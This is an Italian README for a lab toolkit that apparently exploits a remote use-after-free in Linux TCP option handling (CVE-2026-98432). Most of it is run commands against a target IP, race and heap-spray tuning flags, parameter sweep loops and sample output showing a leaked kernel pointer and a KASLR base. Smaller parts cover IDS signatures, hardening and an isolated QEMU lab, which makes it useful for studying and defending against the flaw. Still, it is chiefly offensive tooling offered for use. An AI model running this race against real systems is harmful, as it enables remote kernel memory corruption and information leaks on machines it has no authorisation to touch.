
Toolkit da laboratorio per la use-after-free ireq_opt del TCP di Linux CVE-2026-98432: trigger di race condition con heap-reuse oracle, parser di leak, resolver KASLR, analisi pcap, regole IDS e hardening.
Un piccolo toolkit di laboratorio testato per CVE-2026-98432, una use-after-free remota nello stack IPv4/TCP di Linux (CVSS 9.8). Contiene un trigger di race con un oracolo di riuso dell'heap, un parser di leak, un resolver KASLR, analisi pcap, regole IDS e helper di hardening.
[!WARNING] Questo è tooling d'attacco. Eseguilo solo contro macchine di tua proprietà, all'interno di un laboratorio isolato. La vulnerabilità è remota e non richiede credenziali sul target. Lo strumento rifiuta gli indirizzi pubblici a meno che tu non passi esplicitamente
--allow-public.
ireq_opt, con un modello di timing preciso e
configurabile;System.map;| Target | Linux con un listener TCP IPv4, kernel precedente alla correzione |
| Attaccante | Linux, CAP_NET_RAW, un compilatore C, Python 3.8+ |
| Consigliato | due VM o una VM più un host, stessa rete L2 |
--mode raw richiede inoltre CAP_NET_ADMIN per installare due regole iptables
(lo strumento le stampa).
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
In laboratorio:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
Il codice di uscita è 0 quando l'oracolo ha rilevato un blocco di opzioni riutilizzato (prova dell'use-after-free), 3 quando non lo ha rilevato, e 1/2 in caso di errori.
Un'esecuzione in laboratorio ha già confermato l'oracolo UAF: il SYN-ACK trasportava il marcatore di un'altra richiesta, dimostrando che il kernel aveva letto un oggetto opzioni riutilizzato. Vedi docs/verified-hit.md. La fase 2 (trasformare il riutilizzo in una fuga di puntatori del kernel) è implementata e strumentata ma non ancora riprodotta; vedi docs/stage2-leak.md. Al 2026-11-02 non esiste alcuna catena RCE armata pubblica: la catena di Anthropic è descritta solo in prosa, e il lavoro indipendente più dettagliato si ferma a un dereference controllato su un kernel strumentato.
lab/build-lab.sh scarica Linux 6.12.112, annulla la correzione di due righe, compila un kernel e lo avvia in QEMU insieme allo strumento e a un listener. Vedi lab/README.md per i requisiti e i comandi all'interno della VM.
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check non apre mai un socket. Copre la costruzione e l'analisi dei pacchetti, i checksum, entrambe le varianti dei marker, il classificatore dei puntatori, il writer pcap, un passaggio di fuzzing del parser, gli analizzatori, gli helper della shell, la CLI e la protezione di sicurezza. Consulta docs/analysis.md per la matrice completa.
| modalità | cosa fa | rete |
|---|---|---|
--check | confronta il kernel in esecuzione con la tabella delle correzioni, stampa lo stato di MPTCP e tcp_migrate_req | nessuna |
--selftest | smoke test integrato | nessuna |
--emit-demo FILE | scrive una cattura UAF sintetica (per testare l'analizzatore) | nessuna |
--dump-config | stampa la configurazione normalizzata | nessuna |
--probe IP:PORT | un SYN con MP_CAPABLE, rileva un listener MPTCP | un pacchetto |
--race IP:PORT | la race effettiva | molti pacchetti |
Opzioni comuni per la race:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
Esegui ./bin/cve_2026_98432 --help per l'elenco completo.
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| campo | significato |
|---|---|
attempts | handshake avviati |
synacks | SYN-ACK osservati |
hits | il SYN-ACK trasportava il marker di un altro tentativo: use-after-free confermato |
anomalies | il blob di opzioni non è stato interpretato come nostro (possibili byte trapelati) |
malformed | IPv4 ihl < 5, la firma dell'underflow |
marker echoed | SYN-ACK che trasportavano il nostro marker TS |
rtt | stima corrente del round-trip usata per il timing |
Un hit si presenta così:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
La race è una lotteria di preemption, ma il timing conta comunque. Inizia con i valori predefiniti su loopback o su una LAN, poi esegui una scansione:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
Le regole Suricata si trovano in tools/suricata.rules. Le due firme ad alto valore
sono un TCP SYN in ingresso con opzioni IP e un'intestazione IPv4 con ihl < 5.